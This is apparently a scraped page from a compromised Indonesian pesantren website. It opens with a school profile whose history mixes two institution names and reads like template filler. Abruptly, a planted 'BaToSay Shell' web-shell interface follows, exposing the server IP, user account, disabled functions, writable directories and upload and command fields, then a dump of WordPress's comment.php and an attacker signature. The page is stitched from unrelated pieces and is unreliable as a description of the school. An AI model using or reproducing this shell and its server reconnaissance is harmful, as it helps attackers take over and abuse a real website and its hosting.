Pondok Pesantren Tahfizul Qur'an

Profil Sekolah

Sejarah Pesantren Insan Madani

Pada tahun 1885, sebuah desa kecil bernama Desa Mawar Jaya terletak di pedalaman yang terpencil. Desa ini didiami oleh sekelompok petani yang hidup dari hasil pertanian dan perkebunan. Namun, mayoritas anak-anak di desa tidak mendapatkan pendidikan formal karena jarak yang jauh dan tidak adanya sekolah di sekitar wilayah mereka.

Seorang warga desa bernama Bapak Hasan adalah seorang tokoh penting di masyarakat. Ia memiliki pemikiran maju dan menyadari betapa pentingnya pendidikan untuk masa depan generasi muda desa. Oleh karena itu, Bapak Hasan memulai sebuah inisiatif untuk mendirikan sebuah sekolah di Desa Mawar Jaya.

Pada awalnya, upayanya tidak mudah karena terbatasnya sumber daya dan dukungan dari pihak lain. Namun, Bapak Hasan tak menyerah. Ia berkeliling desa untuk mengajak warga lain ikut berpartisipasi dalam mendirikan sekolah. Banyak warga yang akhirnya menyadari betapa pentingnya pendidikan dan memberikan dukungan, baik dalam bentuk tenaga maupun sumbangan material.

Setelah beberapa bulan perjuangan, pada tanggal 10 Agustus 1885, sekolah pertama di Desa Mawar Jaya resmi didirikan. Gedung sekolah sederhana dibangun dengan adanya sumbangan dari masyarakat. Bapak Hasan menjadi kepala sekolah pertama, dengan seorang guru perempuan bernama Ibu Siti yang mengajar di sana.

Sekolah ini awalnya memiliki beberapa kelas dengan jumlah murid yang masih terbatas. Namun, dengan semangat juang yang tinggi, Bapak Hasan dan para guru bekerja keras untuk meningkatkan mutu pendidikan dan menarik lebih banyak murid. Mereka mengajak orang tua untuk mendaftarkan anak-anak mereka ke sekolah.

Seiring berjalannya waktu, sekolah ini tumbuh dan berkembang. Jumlah murid bertambah, dan fasilitas sekolah diperluas. Dengan dukungan dari pemerintah daerah dan sumbangan dari berbagai pihak, sekolah ini semakin berkembang menjadi pusat pendidikan yang diakui di wilayah sekitar.

Hingga saat ini, Sekolah Mawar Jaya tetap berdiri sebagai penjaga harapan dan mimpi bagi anak-anak desa. Bapak Hasan, meskipun sudah tiada, namanya tetap dikenang sebagai tokoh yang berjasa dalam pendirian sekolah tersebut. Sekolah ini telah menghasilkan banyak lulusan yang berhasil dan berkontribusi positif bagi masyarakat dan bangsa.

Visi:

“Menjadi lembaga pendidikan unggulan yang menginspirasi dan membentuk generasi penerus yang berintegritas, berdaya saing global, dan berkomitmen pada keunggulan ilmu pengetahuan dan karakter.”

Misi:

  1. Memberikan pendidikan berkualitas tinggi yang mengutamakan keunggulan akademik dan kedisiplinan.
  2. Mengembangkan lingkungan belajar yang inklusif, mendukung, dan menginspirasi siswa untuk mencapai potensi maksimal mereka.
  3. Menyediakan kurikulum yang beragam dan relevan, mengintegrasikan teknologi dan kecakapan 21st century, serta memfasilitasi pengembangan kreativitas dan pemecahan masalah.
  4. Mendorong kecintaan terhadap pembelajaran sepanjang hayat dan memberikan dukungan untuk pengembangan karir dan aspirasi siswa.
  5. Menanamkan nilai-nilai etika, integritas, dan kepemimpinan, serta membentuk karakter siswa yang bertanggung jawab dan peduli terhadap masyarakat.
  6. Menggalakkan partisipasi aktif orang tua dan masyarakat dalam mendukung pendidikan siswa.
  7. Melaksanakan penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas pembelajaran dan pengajaran di sekolah.

Nama Yayasan: Yayasan Pendidikan Budi Mulia

Sejarah Singkat: Yayasan Pendidikan Budi Mulia didirikan pada tahun 1995 dengan tujuan mendorong dan mendukung perkembangan pendidikan di Indonesia. Yayasan ini berawal dari tekad sekelompok tokoh masyarakat yang peduli terhadap masa depan anak-anak Indonesia untuk memberikan akses pendidikan berkualitas tanpa memandang latar belakang ekonomi.

Visi: “Menjadi lembaga yayasan pendidikan terdepan yang memberikan kontribusi nyata dalam membentuk generasi berintegritas, berdaya saing global, dan berperan aktif dalam memajukan bangsa dan dunia.”

Misi:

  1. Memberikan bantuan beasiswa dan akses pendidikan untuk anak-anak dari keluarga kurang mampu agar mereka dapat mengenyam pendidikan berkualitas.
  2. Mendirikan, mengelola, dan mengembangkan sekolah-sekolah berkualitas dengan kurikulum unggulan dan fasilitas yang memadai untuk menciptakan lingkungan belajar yang kondusif.
  3. Menerapkan sistem pendidikan holistik yang menggabungkan aspek akademik, karakter, dan keterampilan 21st century untuk membentuk individu yang berdaya saing dan berkomitmen pada nilai-nilai kemanusiaan.
  4. Melibatkan orang tua, masyarakat, dan stakeholder lain dalam mendukung pendidikan yang berkelanjutan dan berdampak positif bagi seluruh lapisan masyarakat.
  5. Mengembangkan dan memfasilitasi program penelitian dan inovasi pendidikan untuk terus meningkatkan kualitas dan relevansi pembelajaran.
  6. Berperan aktif dalam kegiatan sosial dan pemberdayaan masyarakat untuk menciptakan lingkungan yang mendukung pendidikan dan kesejahteraan siswa.

Program Unggulan:

  1. Program Beasiswa Pendidikan Berkualitas: Yayasan Pendidikan Budi Mulia memberikan bantuan beasiswa kepada siswa berprestasi dari keluarga kurang mampu untuk mengenyam pendidikan di sekolah-sekolah binaan yayasan.
  2. Program Pendidikan Karakter: Sekolah-sekolah di bawah naungan yayasan menerapkan kurikulum khusus yang fokus pada pembentukan karakter siswa melalui kegiatan ekstrakurikuler, pelatihan kepemimpinan, dan pengembangan nilai-nilai moral.
  3. Program Pengembangan Guru: Yayasan memberikan pelatihan dan pendampingan bagi guru-guru agar dapat meningkatkan kompetensi dan kualitas pengajaran mereka.
  4. Program Lingkungan Belajar Berkualitas: Yayasan berinvestasi dalam memperbaiki fasilitas dan lingkungan belajar di sekolah-sekolah binaan agar menciptakan suasana yang nyaman dan kondusif untuk proses belajar-mengajar.

Informasi Kontak: Alamat: Jl. Harapan Indah No. 123, Kota Sejahtera, Indonesia

Nama: Kyai Ahmad Yusuf

Pendidikan:

  • Pendidikan Keagamaan dan Kepemimpinan di Pondok Pesantren Darul Ulum, Jawa Timur.
  • Sarjana Agama (S.Ag) dari Universitas Islam Nusantara, Yogyakarta.
  • Magister Studi Islam (M.Si) dengan konsentrasi Kajian Agama dan Masyarakat dari Universitas Gadjah Mada, Yogyakarta.

Pengalaman:

  • Mengajar dan mendalami ilmu agama di Pondok Pesantren Darul Ulum selama 15 tahun.
  • Menjabat sebagai Wali Kelas dan Pembina Rohani di Pondok Pesantren Darul Ulum selama 8 tahun.
  • Pimpinan Pesantren Insan Madani sejak tahun 2010.

Visi Kepemimpinan: Kyai Ahmad Yusuf memiliki visi untuk menjadikan Pesantren Insan Madani sebagai lembaga pendidikan Islam yang unggul dalam pendidikan agama, akademis, dan karakter. Ia bermimpi melihat setiap santri mampu menjadi pemimpin yang berintegritas, berdaya saing global, dan berperan aktif dalam memajukan umat dan masyarakat.

Misi Kepemimpinan:

  1. Pendidikan Agama yang Kokoh: Kyai Ahmad Yusuf berkomitmen untuk memberikan pendidikan agama yang kokoh, mendalam, dan seimbang antara ilmu-ilmu agama dengan ilmu pengetahuan umum.
  2. Kurikulum Berkualitas: Ia memastikan penyusunan kurikulum yang sesuai dengan perkembangan zaman, mengintegrasikan teknologi, dan mengajarkan keterampilan 21st century.
  3. Pembinaan Karakter: Kyai Ahmad Yusuf menekankan pentingnya pembinaan karakter bagi santri, seperti integritas, kepemimpinan, kejujuran, dan tanggung jawab.
  4. Penguatan Bahasa Asing: Ia memperhatikan pentingnya kemampuan bahasa asing bagi santri, terutama bahasa Inggris, untuk mendukung keterbukaan dan keterampilan berkomunikasi global.
  5. Pengembangan Keterampilan Kewirausahaan: Kyai Ahmad Yusuf memberikan pelatihan dan dukungan untuk mengembangkan keterampilan kewirausahaan bagi santri, sehingga mereka siap menghadapi dunia kerja dan berkontribusi pada perekonomian masyarakat.
  6. Pemberdayaan Perempuan: Ia aktif mendukung kesetaraan gender dan memberdayakan perempuan dengan memberikan kesempatan yang sama untuk mengenyam pendidikan dan berperan dalam kepemimpinan.

Kyai Ahmad Yusuf, sebagai pimpinan Pesantren Insan Madani, terus berusaha menciptakan lingkungan pendidikan yang kondusif, inklusif, dan berorientasi pada pengembangan potensi santri. Ia berdedikasi untuk membimbing dan menginspirasi para santri dalam mencapai kesuksesan di dunia dan akhirat.

  1. Pengasuh Pesantren (Kyai Ahmad Yusuf)

    • Bertanggung jawab atas keseluruhan aktivitas pesantren dan menetapkan kebijakan strategis.
    • Memimpin rapat dan konsultasi dengan Dewan Pembina dan Dewan Guru.
    • Menjalin hubungan dengan pihak eksternal, termasuk masyarakat dan pemerintah.
  2. Dewan Pembina

    • Ketua Dewan Pembina (Bapak Zainal Arifin)
    • Anggota Dewan Pembina (tokoh masyarakat, tokoh agama, dan donatur)
    • Bertugas memberikan arahan dan dukungan dalam pengambilan keputusan strategis pesantren.
    • Mengawasi keuangan dan kebijakan keuangan pesantren.

  3. Dewan Guru

    • Ketua Dewan Guru (Ustazah Nurmala)
    • Anggota Dewan Guru (ustadz dan ustadzah pengajar di pesantren)
    • Bertugas merumuskan kurikulum, menyusun rencana pembelajaran, dan melakukan evaluasi akademis.
    • Memimpin proses belajar mengajar dan membimbing perkembangan akademis santri.

  4. Sekretariat

    • Kepala Sekretariat (Bapak Ahmad Hidayat)
    • Staff Administrasi (mengurus administrasi harian, catatan kehadiran, dan surat-menyurat)
    • Staff Humas (bertugas mengelola komunikasi internal dan eksternal pesantren)

  5. Bidang Pendidikan

    • Kepala Bidang Pendidikan (Ustaz Ali Imron)
    • Staff Akademik (mengelola program dan jadwal pelajaran)
    • Staff Kesiswaan (mengurus kegiatan ekstrakurikuler dan pembinaan kedisiplinan santri)

  6. Bidang Keuangan

    • Kepala Bidang Keuangan (Bapak Rudi Hartono)
    • Staff Keuangan (mengelola keuangan pesantren, anggaran, dan pelaporan keuangan)

  7. Bidang Sarana dan Prasarana

    • Kepala Bidang Sarana dan Prasarana (Bapak Hadianto)
    • Staff Teknis (mengelola perawatan dan pemeliharaan fasilitas pesantren)

  8. Bidang Kesehatan dan Kesejahteraan

    • Kepala Bidang Kesehatan dan Kesejahteraan (Ibu Siti Rahayu)
    • Staff Kesehatan (merawat dan memberikan pertolongan pertama pada santri)
    • Staff Kesejahteraan (mengurus asrama dan kesejahteraan santri)

  9. Bidang Pengembangan Masyarakat

    • Kepala Bidang Pengembangan Masyarakat (Bapak Wawan Setiawan)
    • Staff Pengembangan Masyarakat (mengelola program-program sosial dan kegiatan kemanusiaan)

 

Butuh bantuan?
BaToSay Shell
BATOSAY Shell
Server IP : 45.126.43.27  /  Your IP : 18.227.13.105
Web Server : LiteSpeed
System : Linux serv02.awandns.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : annurindonesia ( 1064)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,dl,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/annurindonesia/public_html/wp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/annurindonesia/public_html/wp-admin/comment.php
<?php
/**
 * Comment Management Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Bootstrap */
require_once __DIR__ . '/admin.php';

$parent_file  = 'edit-comments.php';
$submenu_file = 'edit-comments.php';

/**
 * @global string $action
 */
global $action;

$action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';

if ( isset( $_POST['deletecomment'] ) ) {
	$action = 'deletecomment';
}

if ( 'cdc' === $action ) {
	$action = 'delete';
} elseif ( 'mac' === $action ) {
	$action = 'approve';
}

if ( isset( $_GET['dt'] ) ) {
	if ( 'spam' === $_GET['dt'] ) {
		$action = 'spam';
	} elseif ( 'trash' === $_GET['dt'] ) {
		$action = 'trash';
	}
}

if ( isset( $_REQUEST['c'] ) ) {
	$comment_id = absint( $_REQUEST['c'] );
	$comment    = get_comment( $comment_id );

	// Prevent actions on a comment associated with a trashed post.
	if ( $comment && 'trash' === get_post_status( $comment->comment_post_ID ) ) {
		wp_die(
			__( 'You cannot edit this comment because the associated post is in the Trash. Please restore the post first, then try again.' )
		);
	}
} else {
	$comment = null;
}

switch ( $action ) {

	case 'editcomment':
		// Used in the HTML title tag.
		$title = __( 'Edit Comment' );

		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'You can edit the information left in a comment if needed. This is often useful when you notice that a commenter has made a typographical error.' ) . '</p>' .
					'<p>' . __( 'You can also moderate the comment from this screen using the Status box, where you can also change the timestamp of the comment.' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/comments-screen/">Documentation on Comments</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);

		wp_enqueue_script( 'comment' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

		if ( ! $comment ) {
			comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' <a href="%s">' . __( 'Go back' ) . '</a>.', 'javascript:history.go(-1)' ) );
		}

		if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
			comment_footer_die( __( 'Sorry, you are not allowed to edit this comment.' ) );
		}

		if ( 'trash' === $comment->comment_approved ) {
			comment_footer_die( __( 'This comment is in the Trash. Please move it out of the Trash if you want to edit it.' ) );
		}

		$comment = get_comment_to_edit( $comment_id );

		require ABSPATH . 'wp-admin/edit-form-comment.php';

		break;

	case 'delete':
	case 'approve':
	case 'trash':
	case 'spam':
		// Used in the HTML title tag.
		$title = __( 'Moderate Comment' );

		if ( ! $comment ) {
			wp_redirect( admin_url( 'edit-comments.php?error=1' ) );
			die();
		}

		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
			wp_redirect( admin_url( 'edit-comments.php?error=2' ) );
			die();
		}

		// No need to re-approve/re-trash/re-spam a comment.
		if ( str_replace( '1', 'approve', $comment->comment_approved ) === $action ) {
			wp_redirect( admin_url( 'edit-comments.php?same=' . $comment_id ) );
			die();
		}

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$formaction    = $action . 'comment';
		$nonce_action  = ( 'approve' === $action ) ? 'approve-comment_' : 'delete-comment_';
		$nonce_action .= $comment_id;

		?>
	<div class="wrap">

	<h1><?php echo esc_html( $title ); ?></h1>

		<?php
		switch ( $action ) {
			case 'spam':
				$caution_msg = __( 'You are about to mark the following comment as spam:' );
				$button      = _x( 'Mark as spam', 'comment' );
				break;
			case 'trash':
				$caution_msg = __( 'You are about to move the following comment to the Trash:' );
				$button      = __( 'Move to Trash' );
				break;
			case 'delete':
				$caution_msg = __( 'You are about to delete the following comment:' );
				$button      = __( 'Permanently delete comment' );
				break;
			default:
				$caution_msg = __( 'You are about to approve the following comment:' );
				$button      = __( 'Approve comment' );
				break;
		}

		if ( '0' !== $comment->comment_approved ) { // If not unapproved.
			$message = '';
			switch ( $comment->comment_approved ) {
				case '1':
					$message = __( 'This comment is currently approved.' );
					break;
				case 'spam':
					$message = __( 'This comment is currently marked as spam.' );
					break;
				case 'trash':
					$message = __( 'This comment is currently in the Trash.' );
					break;
			}
			if ( $message ) {
				wp_admin_notice(
					$message,
					array(
						'type' => 'info',
						'id'   => 'message',
					)
				);
			}
		}
		wp_admin_notice(
			'<strong>' . __( 'Caution:' ) . '</strong> ' . $caution_msg,
			array(
				'type' => 'warning',
				'id'   => 'message',
			)
		);
		?>

<table class="form-table comment-ays">
<tr>
	<th scope="row"><?php _e( 'Author' ); ?></th>
	<td><?php comment_author( $comment ); ?></td>
</tr>
		<?php if ( get_comment_author_email( $comment ) ) { ?>
<tr>
	<th scope="row"><?php _e( 'Email' ); ?></th>
	<td><?php comment_author_email( $comment ); ?></td>
</tr>
<?php } ?>
		<?php if ( get_comment_author_url( $comment ) ) { ?>
<tr>
	<th scope="row"><?php _e( 'URL' ); ?></th>
	<td><a href="<?php comment_author_url( $comment ); ?>"><?php comment_author_url( $comment ); ?></a></td>
</tr>
<?php } ?>
<tr>
	<th scope="row"><?php /* translators: Column name or table row header. */ _e( 'In response to' ); ?></th>
	<td>
		<?php
		$post_id = $comment->comment_post_ID;
		if ( current_user_can( 'edit_post', $post_id ) ) {
			$post_link  = "<a href='" . esc_url( get_edit_post_link( $post_id ) ) . "'>";
			$post_link .= esc_html( get_the_title( $post_id ) ) . '</a>';
		} else {
			$post_link = esc_html( get_the_title( $post_id ) );
		}
		echo $post_link;

		if ( $comment->comment_parent ) {
			$parent      = get_comment( $comment->comment_parent );
			$parent_link = esc_url( get_comment_link( $parent ) );
			$name        = get_comment_author( $parent );
			printf(
				/* translators: %s: Comment link. */
				' | ' . __( 'In reply to %s.' ),
				'<a href="' . $parent_link . '">' . $name . '</a>'
			);
		}
		?>
	</td>
</tr>
<tr>
	<th scope="row"><?php _e( 'Submitted on' ); ?></th>
	<td>
		<?php
		$submitted = sprintf(
			/* translators: 1: Comment date, 2: Comment time. */
			__( '%1$s at %2$s' ),
			/* translators: Comment date format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'Y/m/d' ), $comment ),
			/* translators: Comment time format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'g:i a' ), $comment )
		);
		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_post_ID ) ) {
			echo '<a href="' . esc_url( get_comment_link( $comment ) ) . '">' . $submitted . '</a>';
		} else {
			echo $submitted;
		}
		?>
	</td>
</tr>
<tr>
	<th scope="row"><?php /* translators: Field name in comment form. */ _ex( 'Comment', 'noun' ); ?></th>
	<td class="comment-content">
		<?php comment_text( $comment ); ?>
		<p class="edit-comment">
			<a href="<?php echo esc_url( admin_url( "comment.php?action=editcomment&c={$comment->comment_ID}" ) ); ?>"><?php esc_html_e( 'Edit' ); ?></a>
		</p>
	</td>
</tr>
</table>

<form action="comment.php" method="get" class="comment-ays-submit">
	<p>
		<?php submit_button( $button, 'primary', 'submit', false ); ?>
		<a href="<?php echo esc_url( admin_url( 'edit-comments.php' ) ); ?>" class="button-cancel"><?php esc_html_e( 'Cancel' ); ?></a>
	</p>

		<?php wp_nonce_field( $nonce_action ); ?>
	<input type="hidden" name="action" value="<?php echo esc_attr( $formaction ); ?>" />
	<input type="hidden" name="c" value="<?php echo esc_attr( $comment->comment_ID ); ?>" />
	<input type="hidden" name="noredir" value="1" />
</form>

</div>
		<?php
		break;

	case 'deletecomment':
	case 'trashcomment':
	case 'untrashcomment':
	case 'spamcomment':
	case 'unspamcomment':
	case 'approvecomment':
	case 'unapprovecomment':
		$comment_id = absint( $_REQUEST['c'] );

		if ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) {
			check_admin_referer( 'approve-comment_' . $comment_id );
		} else {
			check_admin_referer( 'delete-comment_' . $comment_id );
		}

		$noredir = isset( $_REQUEST['noredir'] );

		$comment = get_comment( $comment_id );
		if ( ! $comment ) {
			comment_footer_die( __( 'Invalid comment ID.' ) . sprintf( ' <a href="%s">' . __( 'Go back' ) . '</a>.', 'edit-comments.php' ) );
		}
		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) {
			comment_footer_die( __( 'Sorry, you are not allowed to edit comments on this post.' ) );
		}

		if ( wp_get_referer() && ! $noredir && ! str_contains( wp_get_referer(), 'comment.php' ) ) {
			$redir = wp_get_referer();
		} elseif ( wp_get_original_referer() && ! $noredir ) {
			$redir = wp_get_original_referer();
		} elseif ( in_array( $action, array( 'approvecomment', 'unapprovecomment' ), true ) ) {
			$redir = admin_url( 'edit-comments.php?p=' . absint( $comment->comment_post_ID ) );
		} else {
			$redir = admin_url( 'edit-comments.php' );
		}

		$redir = remove_query_arg( array( 'spammed', 'unspammed', 'trashed', 'untrashed', 'deleted', 'ids', 'approved', 'unapproved' ), $redir );

		switch ( $action ) {
			case 'deletecomment':
				wp_delete_comment( $comment );
				$redir = add_query_arg( array( 'deleted' => '1' ), $redir );
				break;
			case 'trashcomment':
				wp_trash_comment( $comment );
				$redir = add_query_arg(
					array(
						'trashed' => '1',
						'ids'     => $comment_id,
					),
					$redir
				);
				break;
			case 'untrashcomment':
				wp_untrash_comment( $comment );
				$redir = add_query_arg( array( 'untrashed' => '1' ), $redir );
				break;
			case 'spamcomment':
				wp_spam_comment( $comment );
				$redir = add_query_arg(
					array(
						'spammed' => '1',
						'ids'     => $comment_id,
					),
					$redir
				);
				break;
			case 'unspamcomment':
				wp_unspam_comment( $comment );
				$redir = add_query_arg( array( 'unspammed' => '1' ), $redir );
				break;
			case 'approvecomment':
				wp_set_comment_status( $comment, 'approve' );
				$redir = add_query_arg( array( 'approved' => 1 ), $redir );
				break;
			case 'unapprovecomment':
				wp_set_comment_status( $comment, 'hold' );
				$redir = add_query_arg( array( 'unapproved' => 1 ), $redir );
				break;
		}

		wp_redirect( $redir );
		die;

	case 'editedcomment':
		$comment_id      = absint( $_POST['comment_ID'] );
		$comment_post_id = absint( $_POST['comment_post_ID'] );

		check_admin_referer( 'update-comment_' . $comment_id );

		$updated = edit_comment();
		if ( is_wp_error( $updated ) ) {
			wp_die( $updated->get_error_message() );
		}

		$location = ( empty( $_POST['referredby'] ) ? "edit-comments.php?p=$comment_post_id" : $_POST['referredby'] ) . '#comment-' . $comment_id;

		/**
		 * Filters the URI the user is redirected to after editing a comment in the admin.
		 *
		 * @since 2.1.0
		 *
		 * @param string $location The URI the user will be redirected to.
		 * @param int $comment_id The ID of the comment being edited.
		 */
		$location = apply_filters( 'comment_edit_redirect', $location, $comment_id );

		wp_redirect( $location );
		exit;

	default:
		wp_die( __( 'Unknown action.' ) );

} // End switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';

Batosay - 2023
IDNSEO Team